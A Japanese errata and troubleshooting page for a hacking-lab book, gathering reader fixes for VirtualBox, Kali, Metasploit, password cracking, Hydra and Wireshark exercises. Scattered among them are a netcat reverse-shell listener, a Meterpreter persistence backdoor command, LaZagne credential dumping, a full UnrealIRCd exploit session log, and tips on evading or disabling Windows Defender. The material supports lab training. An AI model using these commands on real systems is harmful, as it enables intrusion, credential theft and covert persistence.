じょろさん(@zyorom)の報告によると、ストレージの容量が足りない場合にこのエラーが発生したそうです。
コマンドプロンプトでslmgr /rearmコマンドを実行してもエラーが出て猶予期間が延長されない 【第2部 第4章 P219-220】
次のようなエラーが出ている場合、コマンドプロンプトが管理者権限で実行されていません(カレントディレクトリが"C:\Windows\Users\IEUser"であることからも推測できる)。 P119に書いてありますが、コマンドプロンプトを管理者権限で起動してコマンドを実行してください。メニューの「コマンドプロンプト」を右クリックして「管理者として実行」を選択すると、管理者権限で起動します。
Windows7の仮想マシンのIPアドレスが10.0.0.xにならない 【第2部 第4章 P221】
ino(@1n0_y)さんの報告によれば、仮想マシンのIPアドレスが正しくならないときは、仮想マシンの再起動だけでなく、VirtualBoxの再起動をするとうまくいくようです。
WindowsがPing応答を返す設定する際に、似たような項目が複数ある 【第2部 第4章 P222】
Windows 7/10がPing応答を返すためには、「Inbound Rules」の「ファイルとプリンターの共有(Echo要求)」を有効にします。しかし、ここには同じような項目が4つあるはずです。それぞれは次のような違いがあります。 ・ICMPv4受信、プロファイルがプライベート・パブリック ・ICMPv4受信、プロファイルがドメイン ・ICMPv6受信、プロファイルがプライベート・パブリック ・ICMPv6受信、プロファイルがドメイン 一番簡単な方法はこの4つの項目をすべて有効にしてしまうことです。 1つだけを有効にするのであれば、「ICMPv4 プロファイルがプライベート・パブリック」を有効にします(通常の家庭のネットワークであればActive Directoryはないので、プロファイルがドメインの設定は関係なし)。 細かい違いについては「Windowsのファイアウォールで「ping」コマンドへの応答を許可する」を参考にするとよいでしょう。
「Run VBoxWindows Additions.exe」を選んでも起動しない 【第2部 第4章 P225】
仕様が変わって「Run VBoxWindows Additions.exe」を選んでも起動しないようです。 マイコンピュータからCDドライブを開いて"VBoxWindowsAdditions-x86.exe"ファイル(32ビット版)をダブルクリックしてインストールできます。
Sysinternals Suiteのダウンロードページにアクセスできない 【第2部 第4章 P227】
本に記載したページにアクセスできない場合(一時期アクセスできない時期があった)や、最新版(英語版)をダウンロードする場合には、以下から入手してください。 https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite
Netcatで-eオプションを指定すると、NO_DATAと表示され、待ち状態にならない 【第2部 第4章 P234】
Windowsのシェルを指定するために、「nc.exe -lvp 5555 -e cmd.exe」というコマンドを実行した場合、次の図のように待ち状態にならなければ、-hオプションで-eオプションの有無をチェックしてください。
Netcatによるリバースシェルのステップ②で、ipconfigコマンドの出力結果が文字化けする 【第2部 第4章 P237】
リバースシェルの接続が確立すると、KaliのTerminalに"C:\Work\nc111nt"というプロンプトが表示されます。以降は、コマンドプロンプトのコマンドを入力できます。例えば、ipconfigコマンドを実行すると、その結果が返って来るはずです。 ただし、ターゲットのWindowsが日本語化されている場合、ipconfigコマンドの出力結果に日本語が含まれており、KaliのTerminalで文字化けして表示される可能性があります。その際は、TerminalをShift-JISに変更することで、正しく表示されるそうです。 suebo(@cd1086)さんのツイートを参考にしました。情報ありがとうございます。
msconsoleコマンドでBundlerエラーが発生する 【第2部 第4章 P239】
なっちり(@nattiri)さんの報告によると、以下のコマンドを実行(Rubyのgemのupdate)すると解決するようです。
$ sudo gem update --system
msfvenomコマンドを実行したら文字化けが表示された 【第2部 第4章 P242】
askモジュールをexploitで実行すると失敗する 【第2部 第4章 P251】
run hashdumpの実行時にエラーが発生する 【第2部 第4章 P253】
ryumajiさん(@ryumanji2)から、run hashdumpの実行中にArgumentErrorが発生して、パスワードハッシュのダンプに失敗するという報告がありました。
・「ハッキング・ラボを途中までやってみて。。。」
John the Ripperが正しく起動しない 【第2部 第4章 P254】
[1]John the Ripper(以下、Johnと略す)を実行したときに、次のようなエラーが発生する場合があるようです。sudoなしでも同様と報告を受けました。
# apt install johnその後、オプションなしでJohnを実行して、Johnが起動しオプションの説明が表示されることを確認してください。もし確認できればJohnのインストールや起動は問題ありません。 その後、Johhを実行して"Crash recovery file is locked"のようなエラーが出た場合は、ファイルがロックされてしまっています。対応方法は色々ありますが、Kaliを再起動するのがもっとも簡単でしょう。
パスワードファイルや辞書ファイルは正しいのに、解析成功のメッセージが出ない 【第2部 第4章 P254-255】
すでに解析が成功している可能性があります。 くどりさんの報告によれば、--showオプションで解析結果を表示できますが、--format:ntオプションで解析した際には、--showオプションと共に--format:ntオプションを付ける必要があるとのことです。
# john hash.txt --show詳細はくどりさんのブログの記事が参考になります。 ・Windows 7 擬似攻撃 – パスワード解析 –
John the Ripperで解析すると、出力結果が本の見た目と違う 【第2部 第4章 P255】
推測ですが、Johnがアップデートして、高速化に対応したため、出力結果が若干違くなったようです。 関係するキーワードは次の通り。 ・AVX2 ・OpenMP
run scraperコマンドの実行で一部失敗する 【第2部 第4章 P256-257】
Brown@Middle(@OKB207)さんの報告によると、run scrapperコマンドを実行したところ、次のようなエラーが発生したようです。
run scrapperコマンドを実行したが、"~/.msf4/logs/scripts/scraper"ディレクトリが存在しない 【第2部 第4章 P256-257】
/root/内に存在します。
Windows 7を再起動すると、バックドアの起動に失敗する【第2部 第4章 P260】
kroad(@kroadddd)さんの報告によると、run persistanceで永続的なバックドアを作成したWindows 7を起動すると、そのバックドアの起動に失敗するようです。
Meterpreterプロンプトでcpコマンドやregコマンドでエラーが発生する【第2部 第4章 P267-268】
P266まではステップ番号が振ってあり、Windows 7に対する一連のハッキングは完了します。P267からは独立した話となっています。 Meterpreterプロンプトで、P267のcpコマンドやP277のregコマンドでエラーが出るという報告がありました。 報告のあった状況としては、P266のclearevコマンドの直後の動作のようです(これが直接影響しているかは不明)。
Windows 10の仮想環境 【第2部 第4章 P289】
Brown@Middle(@OKB207)さんの報告によると、Windows 10 Enterpriseの仮想マシンが提供され始めたようです。 https://developer.microsoft.com/en-us/windows/downloads/virtual-machines 上記のページから、VirtualBoxの仮想マシンもダウンロードできるようです。 ただし、デフォルトでどういった状態になっているのか検証しきれていません。 PCがある程度分かっている人であれば、こちらを使うことで環境構築を高速化できるかもしれません。 isoファイルでOSをインストールしたことがない場合は、経験のためにも本書の通り実行することをおすすめします。
VirtualBoxで空の仮想マシンを構築する際に、OSのバージョンに「Windows 10 (64-bit)」が表示されない 【第2部 第4章 P295】
虎牙龍樹(@kogaryuju)さんの報告によると、BIOS画面で次のように設定し直すことで、バージョンのプルダウンメニューに「Windows 10 (64-bit)」が表示されるそうです。 ・AMDの場合 AMD SVM TechnologyをDisabledからEnabledにする。 ・Intelの場合 Intel Virtualization TechnologyをDisabledからEnabledにする。
Windows 10のisoファイルからブートできない 【第2部 第4章 P301】
インターネット接続をオフにした状態でWindows 10をインストールできない 【第2部 第4章 P301】
HackMonger(@smokyjp)さんの報告によると、インストール後の更新を避けるためにWindows 10のインストール前にネットワーク設定をオフにして進めると、インストール後の最初の再起動中に固まってしまうそうです。
空の仮想マシンにWindows 10をインストールしようとすると、OOBEエラーが発生して進まない 【第2部 第4章 P301~】
私の環境では発生しませんでしたが、Windows 10 Pro(64bit)の仮想マシンを作成中に、次のようなOOBEエラーが発生して、インストールが完了しないという現象が発生するという報告がありました。
- OOBELOCAL
- OOBEZDP
- OOBEWELCOM
- OOBEREGION
Windows 10のリアルタイム保護の設定はどこで変更できるのか 【第2部 第4章 P316】
Windows 10のリアルタイム保護の設定画面の表示について、HackMonger(@smokyjp)さんがツイートしてくれました。 設定画面を表示するには、「設定」>「Windowsセキュリティ」→「ウィルスと脅威の防止:ウィルスと脅威の防止の設定:設定の管理」>「リアルタイム保護」を選びます。 なお、P169ではリアルタイム保護や検疫について簡単に解説しています。
バックドアを設置するコマンドは? 【第2部 第4章 P324】
> run persistence -X -i 60 -P windows/x64/meterpreter/reverse_tcp -p 4444 -r 10.0.0.2Windows 10のウイルス保護機能のため、一瞬だけMeterpreterセッションが繋がるが、"Reaso:Died"と出てすぐに切れるようです。 なお、手動で、evil2.exeを実行すると成功します。
webcam_listを実行してもカメラが見つからない 【第2部 第4章 P326】
"No webcams were found"と表示されるのであれば、Webカメラが見つかっていません。 ハッキング・ラボの実験では、USBのWebカメラを接続することを推奨しています。 この報告を参考にして、ノートPC付属のWebカメラではなく、USB型のWebカメラを別途用意してください。
webcam_stream実行時にエラーが出て遠隔監視ができない 【第2部 第4章 P326-327】
aegi(@jnsdhbgvi)さんの報告によると、以下のどちらかの方法で遠隔監視に成功するようです。 ①root@kaliでmsfを起動。ただし、デフォルトのブラウザはrootで起動しないので、別のブラウザに設定。その後、遠隔監視のコマンドを実行。 ②kali@kaliでmsfを起動。そして遠隔監視のコマンドを実行(従来通り)。
LaZagneがうまく動作しない 【第2部 第4章 P328-329】
いぶすま(@ibusuki11111)さんの報告1・報告2によると、以下の手順でLaZagneが動作したようです。 1:LaZagne本体をブラウザからのダウンロードではなく、wgetコマンドでダウンロードします。 ポイントはZIPファイルではなく、GZファイルの方をダウンロードします。
# github.com/AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.tar.gz2:展開します。
# tar -zxvf lazagne.tar.gz # cd dist/ # ls (lazagne.exeがある)3:Meterpreter経由でlazage.exeをターゲット(Windows 10)に転送します。 4:ターゲットのシェル上で、以下のようにLaZagneを実行します。
>lazagne.exe all
出力内の日本語が文字化けする 【第2部 第4章 P329】
迷砂@ちゃらんぽらん(@00_mis)さんの報告によると、日本語Windows10にKaliからcmdで遠隔操作(Meterpreterプロンプトでshellコマンドを実行してcmdを奪える)すると、日本語が文字化けするようです(ターゲットのWindows10が英語版ならそうならない)。 解決策として、Kali側のTerminalをShift_JISにすると日本語が表示されるが、バックスペースがうまく入力されません。 そこで、cmdに入ったら"chcp 65001"を入力すると、Windows側がUTF-8になり、文字化けしません。 恒久的に上記の設定をしておくと、ターゲットに見つかってしまう可能性が高いです。 そこで、cmdに入る度に同じコマンドを入力することになりますが、この手間を回避できるうまい方法(自動化など)があればお知らせください。
SSHでVeilをインストールすると失敗する 【第2部 第4章 P334】
SHYO(@SHYO)さん報告によれば、SSHでログインした状態でVeilをインストールすると失敗するようです。 KaliにGUIログインした状態で、Veilをインストールしてください。 たそ(@habitasoooooooo)さんの報告によると、Veil Frameworkのインストール時に404 Not Foundが頻発した際に、apt-keyで鍵追加してapt updateコマンドを実行するとうまくインストールできたそうです。
バックドアを仕掛けた後に再起動すると、Windows Defenderが起動してバックドアを無効化されてしまう 【第2部 第4章 P333】
迷砂@ちゃらんぽらん(@00_mis)さんの報告によると、システム権限を取ったら、cmd経由でWindows Defenderを無効にしておくと回避できるようです。 (ただし、ユーザーには無効であることがばれそう?) 具体的なコマンドや実行時の画像など、続報お待ちしております。
Windows Defenderにペイロードがウイルスとして検知されてしまう 【第2部 第4章 P340-341】
ウイルスとアンチウイルスの攻防はいたちごっこです。VeilやWindows Defenderのバージョンによって、検知されるかどうかの結果は変わります。どうしても検知されてしまう場合は、Veilのアップデートを待ちましょう。
Shellterのインストールや起動がうまくいかない、挙動がおかしい 【第2部 第4章 P343】
Kaliのバージョンが上がってから、Shellter周りの挙動が変わったようです。 アップデートの度に変化しており、ネット上でも質問が飛び交っています。 Windows版Shellter(shellter.exe)をwineで起動することで、動作するかもしれません 以下に参考になる報告と記事を紹介します。 ・ゴクツブシ(@gokutsubushiiii)さんの報告 ・takato(@takato86822717)さんの報告 ・ハッキング・ラボRTA =5日目=…元々はhttps://amefura.com/hacking-labs-005/でしたが、現在は何故か1redirb.comに転送されて、途中で読み込みがストップするようです。一時的にリンクを消します。【2021年9月27日追記】 ・藤宮 詩音(@F_Shion_i401)さんの報告 ・ささめゆき(@gisi_spica)さんの報告
日本語版のWinRARを使って、ペイロードに画像ファイルをバインドする 【第2部 第4章 P350】
本書では英語版のWinRARを使っていますが、虎牙龍樹(@kogaryuju)さんが日本語版のWinRARを使った方法をツイートで紹介してくれました。
WinRARでバインドするとき、最初に選択するファイルは"wallpaper.png"と"evil4.exe"ではないか? 【第2部 第4章 P350】
HackMonger(@smokyjp)さんからツイートで、「WinRARでバインドするとき、最初に選択するファイルは"wallpaper.png"と"evil4.exe"ではないか」と指摘されました。 普通に考えると、WinRARに"evil4.exe"のパスを教える必要があり、WinRARの設定時にはしていないので(Setupタブではファイル名は指定しているが絶対パスは指定していない)、右クリックのときしかタイミングがなさそうな気がします。 実際、ネットでこの方法を調べると、exeファイルと画像ファイルを選択した状態で右クリックして「Add to archive」を選ぶという方法を採用しているようです。 その一方で、本書の方法でもこれまで指摘がなかったということは、"wallpaper.png"と"wallpaper.ico"を選択した状態で右クリックして「Add to archive」を選んでも問題ないのかもしれません。 これを安全なexeファイル(電卓プログラムである"calc.exe")を用いて検証してみました。 フォルダー内に必要なファイルだけを入れて、そこでアーカイブを作成しました。そして、そのexe展開アーカイブをそのフォルダーの外に出し、"calc.exe"が存在しないような場所に移動してから、実行してみました。
USERコマンドをどうやって入力するのか? 【第2部 第5章 P376】
MetaploitableのFTPサービス(21番)に接続すると、"220 (vsFTPd 2.3.4)"というメッセージが返ってきます。その次の行の"USER attacker:)"はこちら側が入力するものです。"USER"というメッセージが返って来るわけではありません。 以下、同様に"PASS hoge"もこちら側が1行で入力するものになります。
hydraに設定している"Invalid username or password"という文字列はどこから取得しましたか? 【第2部 第5章 P388-389】
Kaliのブラウザ(Firefoxなど)からTomcatの認証画面でわざと誤ったパスワードを入力します。すると、認証エラーのWebページが表示され、そこに"Invalid username or password"という文字列が表示されます。
http-form-postとなっていますが、http-post-formが正しいのではないでしょうか? 【第2部 第5章 P388-389】
検証の結果、Hydraの解析時のコマンド(P.389)において、http-form-postでもhttp-post-formでも動作には問題ないことがわかりました。 http-form-postを指定しても内部的に、http-post-formに変換されるようです。 よって、どちらを指定しても実行結果に違いはありません。 ただし、Hydraのヘルプによると、http-post-formが正しいです。
Hydraでの辞書式攻撃に失敗してしまう 【第2部 第5章 P389】
・ここのコマンド入力は長いため、入力間違いがないことを確認してください。 [1]validとして1つも引っ掛からないケース ・"user.lst"ファイルと"pass.lst"ファイルの両方に"tomcat"が含まれていることを確認してください。 catで見るのではなく、nanoやviで確認してください。 "tomcat "のように"tomcat"の直後に空白が入っていてはいけません。 [2]すべてのパターンがvalid扱いになってしまうケース ・P.389で指定したコマンドの「認証失敗時に表示される文字列」が間違っていると、これに該当します。 以上のケースに該当しない場合は、次の方法で解決するかもしれません。 Giorgia Cortese(@GiorgiaCortese6)さんと虎牙龍樹(@kogaryuju)さんのやり取り(1、2)によると、 Firefoxで10.0.0.5:8180に接続後、Tomcatの管理画面のログイン画面を表示してからHydraで解析するとうまくいくようです。
認証エラーのWebページに"Invalid username or password"ではなく、"ユーザ名またはパスワードが違います"という日本語が表示されてしまう 【第2部 第5章 P389】
ブラウザが日本語優先になっている可能性が高いです。 WiresharkでHTTP要求を確認してください。Accept-Languageにて「ja,en-US;q=0.7,en;q=0.3」のようにjpという情報が入っていると、Tomcat側が日本語のページを表示するようです。 目標はTomcatの認証エラーページ(デフォルトの英語ページ)を表示することです。 対処法としては、①「そのブラウザを英語優先にする」か②「別のブラウザを用いる」のどちらかになります。 <アプローチ①> 1:「Firefoxで一部のサイトが英語で表示される場合の対処法【日本語化】」の記事を参考にして、逆にFirefoxを英語優先にします。 2:履歴を削除します。 3:Firefoxの起動中に[Shift]+[F2]キーを押すと、ウィンドウの下部にプロンプトが現れます。そこに"restart"と打ち込んでEnterを押すと、Firefoxが再起動します。 なお、Firefoxの再起動については「Firefoxの再起動はabout:profilesからが手軽」の記事が参考になります。 <アプローチ②> 以下の記事を参考にしてください。 ・「Linuxのコマンドライン(CUI)で使えるテキストベースWebブラウザを使い比べてみた」
smbclient -Lコマンドの実行時にエラーが発生する 【第2部 第5章 P393】
Kali 2019.4において、smbclient -Lコマンドを実行すると、エラーが発生して共有サービスを列挙できないという報告を受けました。
・実行結果 root@kali:~# smbclient -L //10.0.0.5 protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED ・バージョン root@kali:~# smbclient -V Version 4.11.1-Debian ・metasploitable2との通信はできています root@kali:~# ping 10.0.0.5 PING 10.0.0.5 (10.0.0.5) 56(84) bytes of data. 64 bytes from 10.0.0.5: icmp_seq=1 ttl=64 time=0.385 ms root@kali:~# nmap -sV -O -p- 10.0.0.5 Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-11 16:22 JST Nmap scan report for 10.0.0.5 Host is up (0.00054s latency). (略) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)この問題に対する解決方法として、たかさんの報告やysさんの報告が参考になります。 "/etc/samba/smb.conf"ファイル(Sambaの設定ファイル)に、次のように「client min protocol = NT1」という項目を追加するとうまくいくようです。
[global] ; max protocol = SMB2 client min protocol = NT1以下は参考になる記事。 ・Fedora 31 で protocol negotiation failed が発生する
UnrealIRCのバックドアに接続する際にexploit errorが発生する 【第2部 第5章 P401-405】
Anko/nononco(@nifox0458)さんの報告によると、KaliのバージョンによってはUnrealIRCのバックドアに接続する際にexploit errorが発生するようです。 Kaliのバージョンによっては付属するMetasploitにはpayloadが自動で選択されるバグがあるらしいです。 つまり自分で適したペイロードを選択する必要があるということです。 show payloadsで使えるペイロードの一覧を取得して、それっぽいやつを選びます。 "cmd/unix/reverse_perl"を選択して、報告ツイートを参考にしてRHOSTとLHOSTを設定すれば、バックドアに接続成功します。
shell_to_meterpreter実行時にセッション2が生成されない 【第2部 第5章 P403】
本ではshell_to_meterpreter実行時にセッション2と3の2つが生成されます。 しかし、匿名さんの報告によれば、Kali 2019.4で実験すると、セッションが1つしか確立しないようです。 (書籍のセッション3を、このモジュールで確立化したセッション2に置き変えれば、以後の実験では支障がない) 以下はその実験の様子です。
root@kali:~# msfconsole -q [-] *** [-] * WARNING: No database support: could not connect to server: Connection refused Is the server running on host "localhost" (::1) and accepting TCP/IP connections on port 5432? could not connect to server: Connection refused Is the server running on host "localhost" (127.0.0.1) and accepting TCP/IP connections on port 5432? [-] *** msf5 > search unrealirc Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12 excellent No UnrealIRCD 3.2.8.1 Backdoor Command Execution msf5 > use exploit/unix/irc/unreal_ircd_3281_backdoor msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOST 10.0.0.5 RHOST => 10.0.0.5 msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options Module options (exploit/unix/irc/unreal_ircd_3281_backdoor): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 10.0.0.5 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:なぜセッション2が確立していないのかの推測ですが、shell_to_meterpreterモジュールが最適化(最新化)されていることが関係しているかもしれません。 そもそも、このモジュールで従来のセッション2を確立化すること自体が冗長だといえます。 stagerのサイズもログでは985320 bytes、本のサイズと10KBも違っています。 (詳細はshell_to_meterpreterのソースを追うとわかるかも)' RPORT 6667 yes The target port (TCP) Exploit target: Id Name -- ---- 0 Automatic Target msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > run [*] Started reverse TCP double handler on 10.0.0.2:4444 [*] 10.0.0.5:6667 - Connected to 10.0.0.5:6667... :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname... [*] 10.0.0.5:6667 - Sending backdoor command... [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo 6tTPTMx6PO5H1zjD; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "6tTPTMx6PO5H1zjD\r\n" [*] Matching... [*] A is input... [*] Command shell session 1 opened (10.0.0.2:4444 -> 10.0.0.5:54731) at 2019-12-13 18:53:35 +0900 id uid=0(root) gid=0(root) ^Z Background session 1? [y/N] y msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > show sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 shell cmd/unix 10.0.0.2:4444 -> 10.0.0.5:54731 (10.0.0.5) msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > use post/multi/manage/shell_to_meterpreter msf5 post(multi/manage/shell_to_meterpreter) > set SESSION 1 SESSION => 1 msf5 post(multi/manage/shell_to_meterpreter) > show options Module options (post/multi/manage/shell_to_meterpreter): Name Current Setting Required Description ---- --------------- -------- ----------- HANDLER true yes Start an exploit/multi/handler to receive the connection LHOST no IP of host that will receive the connection from the payload (Will try to auto detect). LPORT 4433 yes Port for payload to connect to. SESSION 1 yes The session to run this module on. msf5 post(multi/manage/shell_to_meterpreter) > run [*] Upgrading session ID: 1 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 10.0.0.2:4433 [*] Sending stage (985320 bytes) to 10.0.0.5 [*] Meterpreter session 2 opened (10.0.0.2:4433 -> 10.0.0.5:40414) at 2019-12-13 18:55:52 +0900 [*] Command stager progress: 100.00% (773/773 bytes) [*] Post module execution completed msf5 post(multi/manage/shell_to_meterpreter) > show sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 shell cmd/unix 10.0.0.2:4444 -> 10.0.0.5:54731 (10.0.0.5) 2 meterpreter x86/linux uid=0, gid=0, euid=0, egid=0 @ metasploitable.localdomain 10.0.0.2:4433 -> 10.0.0.5:40414 (10.0.0.5) msf5 post(multi/manage/shell_to_meterpreter) > sessions -i 2 [*] Starting interaction with 2... meterpreter > getuid Server username: uid=0, gid=0, euid=0, egid=0 meterpreter > ifconfig Interface 1 ============ Name : lo Hardware MAC : 00:00:00:00:00:00 MTU : 16436 Flags : UP,LOOPBACK IPv4 Address : 127.0.0.1 IPv4 Netmask : 255.0.0.0 IPv6 Address : ::1 IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:: Interface 2 ============ Name : eth0 Hardware MAC : 08:00:27:1f:0e:ae MTU : 1500 Flags : UP,BROADCAST,MULTICAST IPv4 Address : 10.0.0.5 IPv4 Netmask : 255.255.255.0 IPv6 Address : fe80::a00:27ff:fe1f:eae IPv6 Netmask : ffff:ffff:ffff:ffff:: meterpreter > Background session 2? [y/N] msf5 post(multi/manage/shell_to_meterpreter) > sessions -k 1 [*] Killing the following session(s): 1 [*] Killing session 1 [*] 10.0.0.5 - Command shell session 1 closed. msf5 post(multi/manage/shell_to_meterpreter) > show sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 2 meterpreter x86/linux uid=0, gid=0, euid=0, egid=0 @ metasploitable.localdomain 10.0.0.2:4433 -> 10.0.0.5:40414 (10.0.0.5) msf5 post(multi/manage/shell_to_meterpreter) > sessions -i 2 [*] Starting interaction with 2... meterpreter > Background session 2? [y/N] y [-] Unknown command: y. msf5 post(multi/manage/shell_to_meterpreter) > show sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 2 meterpreter x86/linux uid=0, gid=0, euid=0, egid=0 @ metasploitable.localdomain 10.0.0.2:4433 -> 10.0.0.5:40414 (10.0.0.5) msf5 post(multi/manage/shell_to_meterpreter) > sessions -k 2 [*] Killing the following session(s): 2 [*] Killing session 2 [*] 10.0.0.5 - Meterpreter session 2 closed. msf5 post(multi/manage/shell_to_meterpreter) > show sessions Active sessions =============== No active sessions. msf5 post(multi/manage/shell_to_meterpreter) >
WiresharkのNIC選択画面からeth0が消えてしまった 【第2部 第6章 P426】
Wiresharkでキャプチャーを開始する際に、「Capture Interfaces」画面が表示されます。 そこで、使用するNIC(ネットワークインタフェースカード)を指定しますが、eth0が消えたという報告を受けました。 (eth0を選択したら許可されていないと表示され、Wiresharkを再表示したらeth0,1などが表示されなくなったとのこと) たかすやなぎ(@takasyanagipro)さんによれば、次のサイトを参考にして、eth0を復活できたようです。 〇参考サイト ・「Ubuntu 16.04 に Wireshark をインストール」
Firefoxを起動するとフリーズしたようになる 【第2部 第6章 P427】
このページではWiresharkでHTTPのパケットを観察するために、Firefoxを起動してネットを巡回するように指示しています。ところが、Pingでネットには接続できることを確認しているにもかかわらず、Firefoxを起動してもフリーズしたようになる現象があるそうです。特に、初回の起動時や最初の数回の起動だと起こりやすいようです。原因は不明であり、何か別の作業をしたり、Kaliの再起動を何度かしているうちに、この現象が発生しなくなるそうです。 もしこの段階でFirefoxの調子が悪いときは、いったんFirefoxは閉じておいてください。この場ではHTTP通信さえ実現できればよいので、Firefoxでなくても実験はできます。 Terminalで、次のcurlコマンドを実行することで、google.co.jpのWebサーバーにHTTP通信できます。そのときWiresharkにHTTP要求と応答のパケットが捕捉されるはずです。
# curl http://www.google.co.jpcurlコマンドは実験に便利なので、軽く調べてみることをおすすめします。 ・curlコマンドの使い方 ~GET、POST、REST(json)の確認と、windowsでの利用手順 別の一時的な解決方法として、WindowsにWiresharkをインストールして、日ごろ使っているブラウザでネットを巡回するという方法もあります。
Xplicoがうまく動かない 【第2部 第6章 P436-437】
坂之下哲(@desertsowl)さんの報告によれば、xplico公式からxplico入りのubuntu-serverを落として、VirtualBox+ブリッジモードで起動して、あとはKaliのブラウザからxplicoを呼んで解析を行えるようです。
Xplicoの認証ページを表示しようとすると"Internal Error"が発生する 【第2部 第6章 P436-437】
"/etc/init.d/xplico start"コマンドを実行した後に、http://localhost:9876にアクセスしても"Error: An Internal Error Has Occurred."と表示され、ログインページにならない現象が報告されています。 uname -aコマンドの結果 ・Linux kali 4.18.0-kali2-amd64 #1 SMP Debian 4.18.10-2kali1 (2018-10-09) x86_64 GNU/Linux(うまくいったパターンとダメだったパターンあり) ・Linux kali 4.19.0-kali1-amd64 #1 SMP Debian 4.19.13-1kali1 (2019-01-03) x86_64 GNU/Linux
# a2dismod php7.0 (私のKaliの環境ではこののコマンドでエラーが出たが、問題なし) # a2dismod php7.2 (モジュールが無効になったというメッセージが出た) # a2enmod php7.3
# systemctl restart apache2 (エラーが出なければApache2の再起動が成功)この状態でhttp://localhost:9876にアクセスしてください。下部の"Internal Error"のエラーメッセージが消えていればうまくいっていると期待できます。
ブリッジアダプターに変更しても、IPアドレスが変わらず通信できない 【第2部 第6章 P480】
1:使用している無線LANアダプターのプロパティで「VirtualBox NDIS6 Bridge Network Driver」にチェックを入れて、他のアダプターの「VirtualBox NDIS6 Bridge Network Driver」のチェックを外します。
KoreK chopchop時のパケットの可視化 【第2部 第6章 P550】
以下の記事にまとめてくれました。aricrack-ngについての考察もあり、大変参考になります。 ・KoreK chopchop時のパケットをWiresharkでグラフ化(可視化)して見る
SSLのセッションを復元する 【第2部 第6章 P458】
吉田貴志(@whYh1MTKtLowhaz)さんの報告によると、環境変数SSLKEYLOGFILEを定義してChromeにセッション鍵をお漏らしさせればサーバの秘密鍵なしでもブラウザだけで復号結果を見れるそうです。 wannabe_skywalker(@wannabeskywalk1)さんの報告によると、SSL通信のパケットの復号時において、WiresharkのRSA Keys listに秘密鍵(cert.pem)を登録しようとしたときに、次のエラーが出るそうです。
# openssl req -new -x509 -days 365 -out cert.pem -keyout cert.key量産型IGALOG(@igaos )さんとのやり取りにより、「秘密鍵のパス解除」と「サーバー側のCipher SuiteのDHE無効化」で解決することがわかりました。 参考になる記事は以下の通り。 ・ksnctf: HTTPS is secure, Writeup (TLS 通信解読) ・DH鍵交換でもWiresharkでSSL/TLSを復号化したい
Preferences画面にSSLの項目がない 【第2部 第6章 P459】
YAMIKUMO(@SwiSwiSwiSwiSw1)さんの報告によると、WiresherkのPreferences画面からSSLの項目がなくなっているようです。 なぜSSLの項目が消えたのかはわかりませんが(Wiresharkがバージョンアップして仕様が変わった?)、TLSパケットを右クリックして、下の画像のように展開すると、RSA keys listを選べます。
IP転送の設定時に権限エラー 【第2部 第6章 P483】
Swift(@Swift321_)さんの報告によると、kaliユーザーでの操作時に次のコマンド(IP転送の有効化)を実行すると権限がないと出ます。
$ echo 1 > /proc/sys/net/ipv4/ip_forwardしかし、sudoをつけても権限がないと表示されます。
$ sudo echo 1 > /proc/sys/net/ipv4/ip_forward正しくは次のように入力します。
$ sudo sh -c "echo 1 > /proc/sys/net/ipv4/ip_forward"
arpspoofがインストールされていない 【第2部 第6章 P483】
myojo(@mhr8731)さんの報告によると、最新版Kaliではarpspoofがインストールされていないようです。 参考ページによると、dsniffをインストールすると、一緒にarpspoofが導入されるようです。
$ sudo apt install dsniff astraea(@user_astraea)さんの 報告によると、 この方法で導入したarpspoofを使って、ARPテーブルの改ざんが成功したようです。
MITMfの設定ファイルはどこですか? 【第2部 第6章 P488-489】
astraea(@user_astraea)さんの報告によると、kaliユーザーの場合、MITMFの設定ファイルのパスは、"/home/kali/MITMF/config/mitmf.conf"になります。
MITMfがインストールできない 【第2部 第6章 P488】
Kali 2019.2辺りから多くの方から報告が上がっていました。
MITMfのGitHubを見ると、長年メンテナンスされていないようです。
今後も更新される保証がなく、Kali 2019.4ではリポジトリからMITMfが外されたようです。
現状、他のツール(mitmproxyなど?)で代用するしかなさそうです。
【Kali 2020.3にインストールする方法】
Anko/nononcoさん(@nifox0458>)さんの報告を参考にしています。
ポイントは以下の通り。
・現在のKaliではTerminalで実行される権限がrootではない。そのため、pipを使った際にインストールされる場所がわかる。
・Python2を使う。
$ git clone https://github.com/byt3bl33d3r/MITMf $ sudo apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file $ pip install virtualenvwrapper $ cd MITMf && git submodule init && git submodule update --recursive $ cd ./MITMf $ sudo pip install -r requirements.txt (この時点では、python mitmf.pyを実行しても、"ImportError: No module named pyinotify"というエラーが出る) $ cd $ sudo curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py $ sudo python get-pip.py $ cd ./MITMf $ sudo pip2 install -r requirements.txt $ sudo python mitmf.py (MITMfの起動に成功すればバナーが表示される)【Kali 2020.1にインストールする方法】 次の手順でKali 2020.1にMITMfをインストールできたと教えていただきました(2020年6月)。
